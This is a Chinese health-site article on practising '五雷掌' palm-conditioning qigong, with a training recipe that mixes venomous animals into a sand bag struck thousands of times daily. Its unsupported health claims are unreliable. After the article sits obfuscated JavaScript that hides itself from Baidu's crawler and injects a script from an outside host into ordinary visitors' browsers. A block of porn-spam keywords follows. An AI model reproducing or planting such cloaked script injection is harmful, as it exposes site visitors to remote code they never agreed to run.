當前位置:首頁 > 健康 > 運動健身 > 正文

五雷掌醫療保健氣功如何練習呢

2017-04-17 12:47:51  來源:360常識網   熱度:
導語:中國武術是復雜多樣的,在很多武俠小說里講述了多種武功,其門派也是不同的,每個門派的招式更是不同,但都有自己的特色,這也吸引了更多的

中國武術是復雜多樣的,在很多武俠小說里講述了多種武功,其門派也是不同的,每個門派的招式更是不同,但都有自己的特色,這也吸引了更多的人喜歡武術,以現在的少林、武當最出名,每天都有很多人加入,并且開設有自己專門的學校,稱之為武術學校,在武術里我們需要掌握的是五雷掌醫療保健氣功,那么五雷掌醫療保健氣功如何練習呢?

五雷掌是中國武術中的一種,修煉需要接雷,特別是立春后第一個雷。五毒追砂掌,又名陰手,又名五雷掌,是少林七十二藝中硬功外壯法,屬陽剛之氣力,兼陰柔之勁路。是專供練習人身掌部的功夫,是少林武僧經常練習的功夫。

此五毒手在少林武術技擊中起重要的作用。功夫練成后,與敵搏斗,觸敵即傷其肌膚和筋骨,有皮腫潰爛之危險。敵來攻我時,用手架撥,敵則傷筋斷骨,損其內臟。是少林眾僧練習的重要手功之一。歷代皆有武僧精研此技,如唐代空禪,宋代洪淵和尚,元代惠深禪師,明代可政和尚,清代湛可法師等,都研練此技術。是不可缺少的功夫。

練習要點

少林五毒手的練習要點:其練法簡便易行,須練前有所準備。習之僅以左手為宜,萬不可輕易傷人;必須嚴遵戒規,講究武德,方為玄妙。

歌訣

少林五毒追砂掌,諸般毒物配妥當。每日拍打數千掌,純功須練六年上。

練法

在清明節日取井底泥20斤,用砂缸盛之,五月五日取赤蛇一條,壁虎一條,癩蛤蟆一個,蜘蛛一個,蜈蚣一條,鐵砂10斤,白蠟10斤,燒酒5斤,青銅砂2斤,搗拌泥中,搗勻裝布袋內。如布袋被拍打破爛,可以換新袋再裝好,放于方木上,每天拍打兩次,每次兩掌交替輪換拍打四百掌,兩次共拍八百掌。逐漸練習,慢慢增加,直至兩掌每天共拍一萬四千掌為度。必須要六年時間。以后再苦修苦練,不可間斷,此處練功以后,用藥煎水洗手。

五雷掌是武術的一種,練習后要達到醫療保健的作用時必須有一定的功力,在練習五雷掌時則要配合氣功鍛煉,這樣才能把掌法達到極致,其作用才能更好的發揮出來。但是也要注意五雷掌并不是幾天可以練成的,所花費的時間很長,且患者的毅力也很重要,而練習時還會使用多種器材與物品,也是現在不容易搜尋的。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产中文在线亚洲精品官网| 99热久久这里只精品国产www| 老司机精品视频在线| 91老司机深夜福利精品视频在线观看| 岛国精品一区免费视频在线观看| 国内精品综合久久久40p| 国产精品免费看久久久| 久久丫精品久久丫| 亚洲精品中文字幕麻豆| 久热爱精品视频在线| 国产精品午夜爆乳美女| 国产精品V亚洲精品V日韩精品 | 国产精品伦理久久久久久| 日韩精品无码免费专区午夜 | 久久91亚洲精品中文字幕| 91精品国产亚洲爽啪在线影院| 精品乱码一区二区三区四区| 久久久一本精品99久久精品36 | 91自产拍在线观看精品| 亚洲熟妇成人精品一区| 精品91一区二区三区| 国产亚洲精品无码专区| 99re66热这里只有精品首页| 亚洲中文字幕久久精品无码A| 国产精品无码一本二本三本色| 国产精品美女久久久久av爽| 好属妞这里只有精品久久| 亚洲精品一卡2卡3卡三卡四卡| 久久精品无码一区二区三区不卡 | 精品久久久久久无码中文字幕一区| 国产成人精品无码专区| 亚洲精品V欧洲精品V日韩精品| 78成人精品电影在线播放| 精品国产免费一区二区| 久久国产精品一区| 91精品国产三级在线观看| 日韩精品中文字幕无码专区| 91久久婷婷国产综合精品青草| 2021最新国产成人精品视频| 国产在线91区精品| 久草精品视频在线播放|